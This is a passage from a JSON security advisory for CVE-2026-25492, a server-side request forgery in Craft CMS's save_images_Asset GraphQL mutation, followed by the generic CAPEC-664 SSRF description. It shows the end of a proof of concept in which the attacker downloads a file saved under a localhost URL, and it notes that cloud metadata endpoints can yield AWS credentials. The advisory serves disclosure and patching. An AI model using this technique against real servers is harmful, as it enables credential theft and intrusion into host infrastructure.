photo\",\"url\":\"http://localhost:8080/assets/volumes/images/foo.txt\",\"filename\":\"foo.txt\",\"focalPoint\":null,\"dateCreated\":\"2025-12-18T09:45:24-08:00\"}}}\n```\n\nAttacker can then download sensitive data by fetching http://localhost:8080/assets/volumes/images/foo.txt\n\n\n### Impact\n\nImpacted users must:\n\n- Have graphql enabled\n- Have a graphql token created with permissions to use save_images_Asset\n- Have graphql token stolen by attacker or abused by malicious insider\n\nImpact is heightened if:\n\n- craft is running on something like an AWS EC2 instance, which has a well-known, sensitive internal http address that can be accessed to fetch metadata. \n\nUltimate result is:\n\nAttacker or malicious insider gets access to infrastructure craft is running on, not just craft itself.",
"id": "GHSA-96pq-hxpw-rgh8",
"modified": "2026-02-09T22:38:27Z",
"published": "2026-02-09T20:35:23Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/craftcms/cms/security/advisories/GHSA-96pq-hxpw-rgh8"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25492"
},
{
"type": "WEB",
"url": "https://github.com/craftcms/cms/commit/e838a221df2ab15cd54248f22fc8355d47df29ff"
},
{
"type": "PACKAGE",
"url": "https://github.com/craftcms/cms"
},
{
"type": "WEB",
"url": "https://github.com/craftcms/cms/releases/tag/4.16.18"
},
{
"type": "WEB",
"url": "https://github.com/craftcms/cms/releases/tag/5.8.22"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Craft CMS: save_images_Asset graphql mutation can be abused to exfiltrate AWS credentials of underlying host"
}
No mitigation information available for this CWE.
CAPEC-664: Server Side Request Forgery
An adversary exploits improper input validation by submitting maliciously crafted input to a target application running on a server, with the goal of forcing the server to make a request either to itself, to web services running in the server’s internal network, or to external third parties. If successful, the adversary’s request will be made with the server’s privilege level, bypassing its authentication controls. This ultimately allows the adversary to access sensitive data, execute commands on the server’s network, and make external requests with the stolen identity of the server. Server Side Request Forgery attacks differ from Cross Site Request Forgery attacks in that they target the server itself, whereas CSRF attacks exploit an insecure user authentication mechanism to perform unauthorized actions on the user's behalf.